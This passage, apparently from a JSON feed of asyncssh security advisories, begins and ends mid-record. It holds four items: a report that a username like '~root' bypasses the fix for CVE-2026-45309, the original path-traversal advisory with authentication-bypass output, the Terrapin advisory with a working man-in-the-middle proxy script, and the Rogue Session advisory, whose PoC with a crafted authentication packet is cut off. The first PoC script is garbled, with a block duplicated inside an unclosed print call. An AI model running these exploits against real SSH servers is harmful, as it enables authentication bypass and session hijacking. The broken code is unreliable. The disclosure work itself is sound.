for CVE-2026-45309 (GHSA-g794-3fmp-753h).** The\n  2.23.0 guard that sanitises the SSH username before `%u` substitution\n  in `AuthorizedKeysFile` blocks `/`, `\\` and `..`, but does not block a\n  leading `~` (or `${ENV}`), both of which are re-introduced by later\n  expansion and reach the file open — defeating the guard.\n\n  **Affected:** asyncssh 2.23.0 and current `develop` (commit `a60f863`,\n  HEAD on 2026-05-29).\n\n  ## Summary\n  The fix for CVE-2026-45309 added a guard in\n  `SSHServerConfig._set_tokens` (`asyncssh/config.py:715-716`) that\n  rejects an SSH username containing `/`, `\\`, or equal to `..`, before\n  it is substituted for the `%u` token in `AuthorizedKeysFile`:\n\n      if self._user == '..' or '/' in self._user or '\\\\' in self._user:\n          raise IllegalUserName('Unsafe username substitution')\n\n  However, the `%u`-substituted value is subsequently passed through\n  environment-variable expansion (`_expand_val`, `config.py:145-149` —\n  token expansion then env expansion) and, at file-open time, through\n  `expanduser()` (`read_authorized_keys` → `read_file` →\n  `open(Path(filename).expanduser())`, `auth_keys.py:348` →\n  `misc.py:290`). Both re-introduce the path control the guard was meant\n  to remove, so a username that contains no `/`/`\\` can still cause the\n  server to read an authorized-keys file outside the intended per-user\n  directory.\n\n  The client-supplied username reaches this path pre-authentication:\n  `_process_userauth_request` takes the username from the\n  `SSH_MSG_USERAUTH_REQUEST` packet (`connection.py:2516-2519`) and\n  `_finish_userauth` calls `reload_config()` (`connection.py:2536`),\n  which re-evaluates `AuthorizedKeysFile` with `username=self._username`\n  (`connection.py:5906`) before the offered key is validated.\n\n  ## Primary vector — leading `~`\n  A username such as `~root` or `~victim` passes the guard (no `/`). For\n  a server whose `AuthorizedKeysFile` begins with `%u` — e.g.\n  `AuthorizedKeysFile %u/.ssh/authorized_keys` — the expanded value is\n  `~victim/.ssh/authorized_keys`, which `expanduser()` resolves to\n  `/home/victim/.ssh/authorized_keys` (`~root` → `/root/...`; a bare `~`\n  → the server process's home). The username has therefore escaped the\n  intended per-user location without using any path separator —\n  defeating the purpose of the guard.\n\n  Note: `expanduser()` only expands a leading `~`, so this vector\n  requires `%u` to be the first path component of `AuthorizedKeysFile`.\n  (The CVE-2026-45309 `authorized_keys/%u` example — `%u` not leading —\n  is not reachable this way; that was the `../` form.)\n\n  ## Impact and limitations\n  - Demonstrated (verified against source at `a60f863`): the guard is\n  bypassable and the authorized-keys lookup is redirected to an\n  attacker-named home tree, pre-auth, with a separator-free username.\n  - Impact model = identical to CVE-2026-45309: authenticating as the\n  redirected username when a readable authorized-keys file containing\n  the attacker's key is reachable at the redirected location. The parent\n  CVE accepted this exact precondition and was scored `C:N/I:H/A:N`;\n  this is scored consistently.\n  - Not built: a live multi-account SSH auth harness; the PoC verifies\n  the path-redirection mechanism in-process, deterministically. No new\n  primitive is claimed beyond the parent CVE's accepted model — only\n  that the 2.23.0 fix does not close it for `~`/`${ENV}`.\n  - Preconditions (captured by AC:H): `%u` must be the leading path\n  component; on Python 3.13, `Path('~nonexistentuser').expanduser()`\n  raises `RuntimeError`, so only existing accounts are reachable\n  (confirmed: asyncssh 2.23.0, Python 3.13.12).\n\n  ## Secondary vector — `${ENV}` (defense-in-depth only)\n  A username like `${HOME}` also passes the guard and is then\n  environment-expanded, re-introducing `/`. Weaker and not a practical\n  exploit: the attacker can only reference env vars that already exist\n  in the server process (a missing variable raises `ConfigParseError`)\n  and cannot control their values. Reported as hardening.\n\n  ## Reproduction\n  In-process, deterministic, no network. Against a checkout of asyncssh\n  2.23.0:\n\n      cd /path/to/asyncssh\n      PYTHONPATH=/path/to/asyncssh python3 poc_authkeys_token_bypass.py\n\n  Output (abridged):\n\n      [1] original CVE '../../../../tmp/evil' blocked: True   (fix present)\n          literal-slash user '/etc' blocked:           True\n      [A] tilde bypass  user '~root':\n          guard blocks it? False        (False == bypass)\n          expanded config value : ['~root/.ssh/authorized_keys']\n          after expanduser()    : /root/.ssh/authorized_keys   \u003c-- read  as authorized_keys\n      VERDICT: guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)\n\n  ## Suggested fix\n  Tighten `_set_tokens` to also reject usernames that re-introduce path\n  control after expansion — reject a leading `~` / `~user` and `$`/`${`\n  references in `self._user`. More robustly, validate that the FINAL\n  expanded `AuthorizedKeysFile` path remains within the intended base\n  directory, and/or suppress `expanduser`/environment expansion on the\n  `%u`-derived component specifically.\n\n  ## Disclosure\n  Coordinated, ~90-day default. I will not publish details/PoC before a\n  fix is released, and am happy to validate the patch. Credit (if given)\n  to `cesabici-bit`.\n\n  ## PoC source\n  (see code block below)\n\n```python\n #!/usr/bin/env python3\n  \"\"\"\n  PoC: incomplete fix for CVE-2026-45309 (AsyncSSH AuthorizedKeysFile %u path\n  control). Local-only, in-process, deterministic. No network.\n\n  CVE-2026-45309 (fixed in v2.23.0, commit 2af2382) added a blocklist in\n  SSHServerConfig._set_tokens that rejects a client username containing\n  '/', '\\\\', or equal to '..' before it is substituted for the %u token in\n  the server's AuthorizedKeysFile directive.\n\n  This PoC shows the blocklist is bypassable: the %u value is afterwards run\n  through (1) ${ENV} expansion and (2) ~ expanduser(), both of which\n  re-introduce the path control the guard was meant to remove.\n\n  CAVEAT (triage 2026-05-29): the PRIMARY vector is (2) ~ expanduser() — it lets\n  a separator-free username (e.g. '~root') escape to another home tree when %u\n  is the LEADING path component. Vector (1) ${ENV} is WEAK: a real attacker can\n  only REFERENCE env vars that already exist on the server and cannot control\n  their VALUES; the ${ASYNCSSH_POC_VAR} demo below sets the var itself purely to\n  illustrate the expansion, and does NOT represent attacker capability. Treat (1)\n  as defense-in-depth, (2) as the load-bearing finding. See NOTES.md / REPORT.md.\n\n  Run from a checkout of asyncssh (cwd on sys.path), e.g.:\n      cd /tmp/targets/asyncssh \u0026\u0026 python3 \u003cthisfile\u003e\n  \"\"\"\n\n  import os\n  import sys\n  import tempfile\n  from pathlib import Path\n\n  import asyncssh\n  from asyncssh.config import SSHServerConfig\n\n  try:\n      from asyncssh.misc import IllegalUserName\n  except Exception:  # pragma: no cover\n      IllegalUserName = asyncssh.IllegalUserName\n\n\n  def expand_authkeys(user, cfg_text):\n      \"\"\"Load a server config exactly as SSHServerConnection does and return the\n      expanded AuthorizedKeysFile value (a list). Raises IllegalUserName if the\n      CVE-2026-45309 guard fires.\"\"\"\n      with tempfile.NamedTemporaryFile(\"w\", suffix=\".conf\", delete=False) as f:\n          f.write(cfg_text)\n          cfg_path = f.name\n      try:\n          # mirror connection.py:8897\n          #   SSHServerConfig.load(last_config, config, reload, canonical, final,\n          #                        accept_addr, accept_port, username,\n          #                        client_host, client_addr)\n          cfg = SSHServerConfig.load(\n              None, cfg_path, True, False, False,\n              \"127.0.0.1\", 22, user, \"client.example\", \"203.0.113.7\",\n          )\n          return cfg.get(\"AuthorizedKeysFile\")\n      finally:\n          os.unlink(cfg_path)\n\n\n  def guard_blocks(user, cfg_text):\n      \"\"\"Return True if the CVE-2026-45309 guard rejects this username.\"\"\"\n      try:\n          expand_authkeys(user, cfg_text)\n          return False\n      except IllegalUserName:\n          return True\n\n\n  def main():\n      print(f\"# asyncssh {asyncssh.__version__}  ({asyncssh.__file__})\")\n      print(f\"# python {sys.version.split()[0]}\\n\")\n\n      results = []\n\n      # ---- Sanity 0: benign username expands normally -----------------------\n      cfg = \"AuthorizedKeysFile /etc/ssh/authorized_keys.d/%u\"\n      val = expand_authkeys(\"alice\", cfg)\n      print(f\"[0] benign user 'alice':            {val}\")\n      results.append((\"benign expands to per-user path\",\n                      val == [\"/etc/ssh/authorized_keys.d/alice\"]))\n\n      # ---- Sanity 1: original CVE-2026-45309 is blocked ---------------------\n      blocked = guard_blocks(\"../../../../tmp/evil\", cfg)\n      print(f\"[1] original CVE '../../../../tmp/evil' blocked: {blocked}\")\n      results.append((\"original CVE traversal is blocked (fix present)\", blocked))\n\n      # also: a literal slash is blocked (the guard's whole purpose)\n      slash_blocked = guard_blocks(\"/etc\", cfg)\n      print(f\"    literal-slash user '/etc' blocked: {slash_blocked}\")\n      results.append((\"literal-slash username is blocked\", slash_blocked))\n\n      print()\n\n      # ---- BYPASS A: ~ tilde survives the guard, reaches expanduser() -------\n      cfg_a = \"AuthorizedKeysFile %u/.ssh/authorized_keys\"\n      blocked_a = guard_blocks(\"~root\", cfg_a)\n      val_a = expand_authkeys(\"~root\", cfg_a)\n      resolved_a = str(Path(val_a[0]).expanduser())  # what read_file()/open_file() does\n      print(f\"[A] tilde bypass  user '~root':\")\n      print(f\"    guard blocks it? {blocked_a}   (False == bypass)\")\n      print(f\"    expanded config value : {val_a}\")\n      print(f\"    after expanduser()    : {resolved_a}   \u003c-- read as authorized_keys\")\n      results.append((\"A: ~user NOT blocked by guard\", not blocked_a))\n      results.append((\"A: expanduser() redirects to another home tree\",\n                      resolved_a.startswith(\"/root/\") or \"~\" not in resolved_a))\n\n      print()\n\n      # ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' -----------\n      # The username contains no '/','\\\\' and is not '..', so the guard passes.\n      # Token expansion makes %u -\u003e '${HOME}', then ENV expansion substitutes a\n      # server value that DOES contain '/', defeating the separator filter.\n      cfg_b = \"AuthorizedKeysFile %u\"\n      os.environ.setdefault(\"HOME\", \"/root\")\n      blocked_b = guard_blocks(\"${HOME}\", cfg_b)\n      val_b = expand_authkeys(\"${HOME}\", cfg_b)\n      print(f\"[B] env bypass    user '${{HOME}}':\")\n      print(f\"    guard blocks it? {blocked_b}   (False == bypass)\")\n      print(f\"    expanded config value : {val_b} (HOME={os.environ['HOME']})\")\n      sep_injected = any(\"/\" in p for p in val_b)\n      print(f\"    contains '/' after guard? {sep_injected}   \u003c-- separator filter bypassed\")\n      results.append((\"B: ${ENV} username NOT blocked by guard\", not blocked_b))\n      results.append((\"B: ${ENV} re-introduces '/' the guard rejected literally\",\n                      sep_injected))\n\n      # demonstrate arbitrary '/'-containing absolute path via a referenced var\n      os.environ[\"ASYNCSSH_POC_VAR\"] = \"/tmp/asyncssh_poc/INJECTED/authorized_keys\"\n      val_b2 = expand_authkeys(\"${ASYNCSSH_POC_VAR}\", cfg_b)\n      print(f\"    via referenced env var: {val_b2}\")\n      results.append((\"B: env value yields absolute '/'-path post-guard\",\n                      val_b2 == [\"/tmp/asyncssh_poc/INJECTED/authorized_keys\"]))\n\n      # ---- verdict ----------------------------------------------------------\n      print(\"\\n==== RESULTS ====\")\n      ok = True\n      for name, passed in results:\n          print(f\"  [{'PASS' if passed else 'FAIL'}] {name}\")\n          ok = ok and passed\n      print(\"\\nVERDICT:\",\n\n      print()\n\n      # ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' -----------\n      # The username contains no '/','\\\\' and is not '..', so the guard passes.\n      # Token expansion makes %u -\u003e '${HOME}', then ENV expansion substitutes a\n      # server value that DOES contain '/', defeating the separator filter.\n      cfg_b = \"AuthorizedKeysFile %u\"\n      os.environ.setdefault(\"HOME\", \"/root\")\n      blocked_b = guard_blocks(\"${HOME}\", cfg_b)\n      val_b = expand_authkeys(\"${HOME}\", cfg_b)\n      print(f\"[B] env bypass    user '${{HOME}}':\")\n      print(f\"    guard blocks it? {blocked_b}   (False == bypass)\")\n      print(f\"    expanded config value : {val_b}   (HOME={os.environ['HOME']})\")\n      sep_injected = any(\"/\" in p for p in val_b)\n      print(f\"    contains '/' after guard? {sep_injected}   \u003c-- separator filter bypassed\")\n      results.append((\"B: ${ENV} username NOT blocked by guard\", not blocked_b))\n      results.append((\"B: ${ENV} re-introduces '/' the guard rejected literally\",\n                      sep_injected))\n\n      # demonstrate arbitrary '/'-containing absolute path via a referenced var\n      os.environ[\"ASYNCSSH_POC_VAR\"] = \"/tmp/asyncssh_poc/INJECTED/authorized_keys\"\n      val_b2 = expand_authkeys(\"${ASYNCSSH_POC_VAR}\", cfg_b)\n      print(f\"    via referenced env var: {val_b2}\")\n      results.append((\"B: env value yields absolute '/'-path post-guard\",\n                      val_b2 == [\"/tmp/asyncssh_poc/INJECTED/authorized_keys\"]))\n\n      # ---- verdict ----------------------------------------------------------\n      print(\"\\n==== RESULTS ====\")\n      ok = True\n      for name, passed in results:\n          print(f\"  [{'PASS' if passed else 'FAIL'}] {name}\")\n          ok = ok and passed\n      print(\"\\nVERDICT:\",\n            \"guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)\"\n            if ok else \"one or more checks did not hold\")\n      return 0 if ok else 1\n\n\n  if __name__ == \"__main__\":\n      sys.exit(main())\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-26T15:32:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N","references":["https://github.com/ronf/asyncssh/security/advisories/GHSA-qr67-gv47-xwwh","https://nvd.nist.gov/vuln/detail/CVE-2026-54590","https://github.com/ronf/asyncssh/commit/3d515ba9ba0cd9990d248bdf62bcf05d51261a88","https://github.com/ronf/asyncssh/releases/tag/v2.23.1","https://github.com/advisories/GHSA-qr67-gv47-xwwh"],"source_kind":"github","identifiers":["GHSA-qr67-gv47-xwwh","CVE-2026-54590"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-26T16:00:10.969Z","updated_at":"2026-10-05T15:00:58.191Z","epss_percentage":0.00393,"epss_percentile":0.30659,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xcjY3LWd2NDcteHd3aM4ABlfc","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xcjY3LWd2NDcteHd3aM4ABlfc","packages":[{"ecosystem":"pypi","package_name":"asyncssh","versions":[{"first_patched_version":"2.23.1","vulnerable_version_range":"\u003c= 2.23.0"}],"purl":"pkg:pypi/asyncssh"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xcjY3LWd2NDcteHd3aM4ABlfc/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nNzk0LTNmbXAtNzUzaM4ABXlT","url":"https://github.com/advisories/GHSA-g794-3fmp-753h","title":"AsyncSSH `AuthorizedKeysFile %u` path traversal allows attacker-selected authorized keys to authenticate a traversal username","description":"## Summary\nAsyncSSH 2.22.0 expands the OpenSSH-compatible `AuthorizedKeysFile` `%u` token with the raw SSH username during pre-authentication server config reload. A server configured with a documented per-user key pattern such as `AuthorizedKeysFile authorized_keys/%u` can be made to read an authorized-keys file outside the intended directory when the SSH username contains path traversal segments. If the attacker can place or reference a readable authorized-keys-format file containing their public key, the attacker can authenticate over SSH as the traversal username.\n\n## Affected Product\n- Package: asyncssh\n- Ecosystem: pip\n- Affected versions: confirmed on 2.22.0; exact lower bound not finalized\n- Tested version: 2.22.0\n- Audit commit/tag: tag `v2.22.0`, commit `af5a81e669633d83d535163f93b6bf3f957c9238`\n- PyPI sdist SHA256: `c3ce72b01be4f97b40e62844dd384227e5ff5a401a3793007c42f86a5c8eb537`\n\n## Vulnerability Details\n- CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory\n- Component: AsyncSSH server config reload and public-key authentication (`asyncssh/config.py`, `asyncssh/connection.py`, `asyncssh/auth_keys.py`, `asyncssh/misc.py`)\n- Root cause: `%u` in `AuthorizedKeysFile` is expanded from the remote username without rejecting path separators or `..` segments, and the resulting path is opened without constraining it to the intended authorized-keys directory.\n- Security boundary violated: the configured authorized-keys directory and public-key authentication trust boundary.\n- Direct impact: public-key authentication succeeds using an attacker-selected authorized-keys file outside the intended directory.\n- Chain impact, if any: none claimed; direct authentication impact is primary.\n\n## Attack Preconditions\n- The AsyncSSH server uses a config or equivalent pattern where `AuthorizedKeysFile` contains `%u`, for example `AuthorizedKeysFile authorized_keys/%u`.\n- Public-key authentication is enabled.\n- The attacker can place or reference a readable authorized-keys-format file outside the intended directory, such as a file in a world-writable or application-writable location.\n- The application does not separately reject usernames containing `/`, `\\`, or `..` before AsyncSSH uses the username for key-file selection.\n\n## Reproduction\nThe run-scoped evidence contains a safe localhost proof:\n\n1. Start the proof harness saved at \n[harness_app.py](https://github.com/user-attachments/files/27232526/harness_app.py)\n\n2. Run \n[exploit_proof.py](https://github.com/user-attachments/files/27232538/exploit_proof.py)\nthrough \n[run_proof.sh](https://github.com/user-attachments/files/27232545/run_proof.sh)\n\n3. The harness creates `sshd_config` with `AuthorizedKeysFile authorized_keys/%u`, writes the attacker's public key to a file outside `authorized_keys/`, starts a real AsyncSSH server, and attempts two SSH logins.\n4. Expected result: the normal username `victim` fails, while the traversal username authenticates with the same attacker key.\n\nObserved proof output:\n\n```text\n[CONTROL] username=victim success=False\n[ATTACK] username=../../../asyncssh-proof-exploit-proof-8b2bd23daeeb.pub success=True\n[ATTACK] output=AUTH_BYPASS_SUCCESS username=../../../asyncssh-proof-exploit-proof-8b2bd23daeeb.pub\nPASS: traversal username authenticated with attacker-controlled authorized_keys file\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-27T21:35:06.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","references":["https://github.com/ronf/asyncssh/security/advisories/GHSA-g794-3fmp-753h","https://github.com/advisories/GHSA-g794-3fmp-753h"],"source_kind":"github","identifiers":["GHSA-g794-3fmp-753h","CVE-2026-45309"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-27T22:00:08.314Z","updated_at":"2026-10-07T16:02:54.386Z","epss_percentage":0.00592,"epss_percentile":0.46521,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nNzk0LTNmbXAtNzUzaM4ABXlT","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nNzk0LTNmbXAtNzUzaM4ABXlT","packages":[{"ecosystem":"pypi","package_name":"asyncssh","versions":[{"first_patched_version":"2.23.0","vulnerable_version_range":"= 2.22.0"}],"purl":"pkg:pypi/asyncssh"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nNzk0LTNmbXAtNzUzaM4ABXlT/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oZm1jLTc1MjUtbWo1Nc4AA34G","url":"https://github.com/advisories/GHSA-hfmc-7525-mj55","title":"AsyncSSH vulnerable to Prefix Truncation Attack (a.k.a. Terrapin Attack) against ChaCha20-Poly1305 and Encrypt-then-MAC","description":"### Summary\n\nAsyncSSH v2.14.1 and earlier is vulnerable to a novel prefix truncation attack (a.k.a. Terrapin attack), which allows a man-in-the-middle attacker to strip an arbitrary number of messages right after the initial key exchange, breaking SSH extension negotiation (RFC8308) in the process and thus downgrading connection security.\n\n### Mitigations\n\nTo mitigate this protocol vulnerability, OpenSSH suggested a so-called \"strict kex\" which alters the SSH handshake to ensure a Man-in-the-Middle attacker cannot introduce unauthenticated messages as well as convey sequence number manipulation across handshakes. Support for strict key exchange has been added to AsyncSSH in the patched version. \n\n**Warning: To take effect, both the client and server must support this countermeasure.** \n\nAs a stop-gap measure, peers may also (temporarily) disable the affected algorithms and use unaffected alternatives like AES-GCM instead until patches are available.\n\n### Details\n\nThe SSH specifications of ChaCha20-Poly1305 (`chacha20-poly1305@openssh.com`) and Encrypt-then-MAC (`*-etm@openssh.com` MACs) are vulnerable against an arbitrary prefix truncation attack (a.k.a. Terrapin attack). This allows for an extension negotiation downgrade by stripping the SSH_MSG_EXT_INFO sent after the first message after SSH_MSG_NEWKEYS, downgrading security, and disabling attack countermeasures in some versions of OpenSSH. When targeting Encrypt-then-MAC, this attack requires the use of a CBC cipher to be practically exploitable due to the internal workings of the cipher mode. Additionally, this novel attack technique can be used to exploit previously unexploitable implementation flaws in a Man-in-the-Middle scenario.\n\nThe attack works by an attacker injecting an arbitrary number of SSH_MSG_IGNORE messages during the initial key exchange and consequently removing the same number of messages just after the initial key exchange has concluded. This is possible due to missing authentication of the excess SSH_MSG_IGNORE messages and the fact that the implicit sequence numbers used within the SSH protocol are only checked after the initial key exchange.\n\nIn the case of ChaCha20-Poly1305, the attack is guaranteed to work on every connection as this cipher does not maintain an internal state other than the message's sequence number. In the case of Encrypt-Then-MAC, practical exploitation requires the use of a CBC cipher; while theoretical integrity is broken for all ciphers when using this mode, message processing will fail at the application layer for CTR and stream ciphers.\n\nFor more details and a pre-print of the associated research paper, see [https://terrapin-attack.com](https://terrapin-attack.com). This website is not affiliated with AsyncSSH in any way.\n\n### PoC\n\n\u003cdetails\u003e\n  \u003csummary\u003eExtension Negotiation Downgrade Attack (chacha20-poly1305@openssh.com)\u003c/summary\u003e\n  \n  ```python\n#!/usr/bin/python3\nimport socket\nfrom binascii import unhexlify\nfrom threading import Thread\nfrom time import sleep\n\n#####################################################################################\n## Proof of Concept for the extension downgrade attack                             ##\n##                                                                                 ##\n## Variant: ChaCha20-Poly1305                                                      ##\n##                                                                                 ##\n## Client(s) tested: OpenSSH 9.5p1 / PuTTY 0.79                                    ##\n## Server(s) tested: OpenSSH 9.5p1                                                 ##\n##                                                                                 ##\n## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0    ##\n#####################################################################################\n\n# IP and port for the TCP proxy to bind to\nPROXY_IP = '127.0.0.1'\nPROXY_PORT = 2222\n\n# IP and port of the server\nSERVER_IP = '127.0.0.1'\nSERVER_PORT = 22\n\nLENGTH_FIELD_LENGTH = 4\n\ndef pipe_socket_stream(in_socket, out_socket):\n    try:\n        while True:\n            data = in_socket.recv(4096)\n            if len(data) == 0:\n                break\n            out_socket.send(data)\n    except ConnectionResetError:\n        print(\"[!] Socket connection has been reset. Closing sockets.\")\n    except OSError:\n        print(\"[!] Sockets closed by another thread. Terminating pipe_socket_stream thread.\")\n    in_socket.close()\n    out_socket.close()\n\nrogue_msg_ignore = unhexlify('0000000C060200000000000000000000')\ndef perform_attack(client_socket, server_socket):\n    # Version exchange\n    client_vex = client_socket.recv(255)\n    server_vex = server_socket.recv(255)\n    client_socket.send(server_vex)\n    server_socket.send(client_vex)\n    # SSH_MSG_KEXINIT\n    client_kexinit = client_socket.recv(35000)\n    server_kexinit = server_socket.recv(35000)\n    client_socket.send(server_kexinit)\n    server_socket.send(client_kexinit)\n    # Client will now send the key exchange INIT\n    client_kex_init = client_socket.recv(35000)\n    server_socket.send(client_kex_init)\n    # Insert ignore message (to client)\n    client_socket.send(rogue_msg_ignore)\n    # Wait half a second here to avoid missing EXT_INFO\n    # Can be solved by counting bytes as well\n    sleep(0.5)\n    # KEX_REPLY / NEW_KEYS / EXT_INFO\n    server_response = server_socket.recv(35000)\n    # Strip EXT_INFO before forwarding server_response to client\n    # Length fields of KEX_REPLY and NEW_KEYS are still unencrypted\n    server_kex_reply_length = LENGTH_FIELD_LENGTH + int.from_bytes(server_response[:LENGTH_FIELD_LENGTH])\n    server_newkeys_start = server_kex_reply_length\n    server_newkeys_length = LENGTH_FIELD_LENGTH + int.from_bytes(server_response[server_newkeys_start:server_newkeys_start + LENGTH_FIELD_LENGTH])\n    server_extinfo_start = server_newkeys_start + server_newkeys_length\n    client_socket.send(server_response[:server_extinfo_start])\n\nif __name__ == '__main__':\n    print(\"--- Proof of Concept for extension downgrade attack (ChaCha20-Poly1305) ---\")\n    mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    mitm_socket.bind((PROXY_IP, PROXY_PORT))\n    mitm_socket.listen(5)\n\n    print(f\"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...\")\n    try:\n        while True:\n            client_socket, client_addr = mitm_socket.accept()\n            print(f\"[+] Accepted connection from: {client_addr}\")\n            print(f\"[+] Establishing new target connection to {(SERVER_IP, SERVER_PORT)}.\")\n            server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            server_socket.connect((SERVER_IP, SERVER_PORT))\n            print(\"[+] Performing extension downgrade\")\n            perform_attack(client_socket, server_socket)\n            print(\"[+] Downgrade performed. Spawning new forwarding threads to handle client connection from now on.\")\n            forward_client_to_server_thread = Thread(target=pipe_socket_stream, args=(client_socket, server_socket), daemon=True)\n            forward_client_to_server_thread.start()\n            forward_server_to_client_thread = Thread(target=pipe_socket_stream, args=(server_socket, client_socket), daemon=True)\n            forward_server_to_client_thread.start()\n    except KeyboardInterrupt:\n        client_socket.close()\n        server_socket.close()\n        mitm_socket.close()\n  ```\n\u003c/details\u003e\n\n### Impact\n\nThis attack targets the specification of ChaCha20-Poly1305 (`chacha20-poly1305@openssh.com`) and Encrypt-then-MAC (`*-etm@openssh.com`), which are widely adopted by well-known SSH implementations and can be considered de-facto standard. These algorithms can be practically exploited; however, in the case of Encrypt-Then-MAC, we additionally require the use of a CBC cipher. As a consequence, this attack works against all well-behaving SSH implementations supporting either of those algorithms and can be used to downgrade (but not fully strip) connection security in case SSH extension negotiation (RFC8308) is supported. The attack may also enable attackers to exploit certain implementation flaws in a man-in-the-middle (MitM) scenario.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-12-18T19:21:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N","references":["https://github.com/ronf/asyncssh/security/advisories/GHSA-hfmc-7525-mj55","https://github.com/ronf/asyncssh/commit/0bc73254f41acb140187e0c89606311f88de5b7b","https://github.com/ronf/asyncssh/commit/69f5a41b458b29367a65fe469c2b0255b5db210a","https://github.com/advisories/GHSA-hfmc-7525-mj55"],"source_kind":"github","identifiers":["GHSA-hfmc-7525-mj55"],"repository_url":"https://github.com/ronf/asyncssh","blast_radius":0.0,"created_at":"2023-12-18T20:06:04.637Z","updated_at":"2026-10-05T15:11:52.202Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oZm1jLTc1MjUtbWo1Nc4AA34G","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oZm1jLTc1MjUtbWo1Nc4AA34G","packages":[{"ecosystem":"pypi","package_name":"asyncssh","versions":[{"first_patched_version":"2.14.2","vulnerable_version_range":"\u003c= 2.14.1"}],"purl":"pkg:pypi/asyncssh"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oZm1jLTc1MjUtbWo1Nc4AA34G/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jMzVxLWZmcGYtNXFwbc4AA3BV","url":"https://github.com/advisories/GHSA-c35q-ffpf-5qpm","title":"AsyncSSH Rogue Session Attack","description":"### Summary\n\nAn issue in AsyncSSH v2.14.0 and earlier allows attackers to control the remote end of an SSH client session via packet injection/removal and shell emulation.\n\n### Details\n\nThe rogue session attack targets any SSH client connecting to an AsyncSSH server, on which the attacker must have a shell account. The goal of the attack is to log the client into the attacker's account without the client being able to detect this. At that point, due to how SSH sessions interact with shell environments, the attacker has complete control over the remote end of the SSH session. The attacker receives all keyboard input by the user, completely controls the terminal output of the user's session, can send and receive data to/from forwarded network ports, and is able to create signatures with a forwarded SSH Agent, if any. The result is a complete break of the confidentiality and integrity of the secure channel, providing a strong vector for a targeted phishing campaign against the user. For example, the attacker can display a password prompt and wait for the user to enter the password, elevating the attacker's position to a MitM at the application layer and enabling perfect shell emulation.\n\nThe attacks work by the attacker injecting a chosen authentication request before the client's NewKeys. The authentication request sent by the attacker must be a valid authentication request containing his credentials. The attacker can use any authentication mechanism that does not require exchanging additional messages between client and server, such as password or publickey. Due to a state machine flaw, the AsyncSSH server accepts the unauthenticated user authentication request message and defers it until the client has requested the authentication protocol.\n\n### PoC\n\n\u003cdetails\u003e\n  \u003csummary\u003eAsyncSSH 2.14.0 client (simple_client.py example) connecting to AsyncSSH 2.14.0 server (simple_server.py example)\u003c/summary\u003e\n\n  ```python\n  #!/usr/bin/python3\n  import socket\n  from threading import Thread\n  from binascii import unhexlify\n  from time import sleep\n  \n  ##################################################################################\n  ## Proof of Concept for the rogue session attack (ChaCha20-Poly1305)            ##\n  ##                                                                              ##\n  ## Variant: Unmodified variant (EXT_INFO by client required)                    ##\n  ##                                                                              ##\n  ## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example)                 ##\n  ## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example)                 ##\n  ##                                                                              ##\n  ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ##\n  ##################################################################################\n  \n  # IP and port for the TCP proxy to bind to\n  PROXY_IP = '127.0.0.1'\n  PROXY_PORT = 2222\n  \n  # IP and port of the server\n  SERVER_IP = '127.0.0.1'\n  SERVER_PORT = 22\n  \n  # Length of the individual messages\n  NEW_KEYS_LENGTH = 16\n  CLIENT_EXT_INFO_LENGTH = 60\n  # Additional data sent by the client after NEW_KEYS (excluding EXT_INFO)\n  ADDITIONAL_CLIENT_DATA_LENGTH = 60\n  \n  newkeys_payload = b'\\x00\\x00\\x00\\x0c\\x0a\\x15'\n  def contains_newkeys(data):\n      return newkeys_payload in data\n  \n  rogue_userauth_request = unhexlify('000000440b320000000861747461636b65720000000e7373682d636f6e6e656374696f6e0000000870617373776f7264000000000861747461636b65720000000000000000000000')\n  def insert_rogue_authentication_request(data):\n      newkeys_index = data.index(newkeys_payload)\n      # Insert rogue authentication request and remove SSH_MSG_EXT_INFO\n      return data[:newkeys_index] + rogue_userauth_request + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + CLIENT_EXT_INFO_LENGTH:]\n  \n  def forward_client_to_server(client_socket, server_socket):\n      delay_next = False\n      try:\n          while True:\n              client_data = 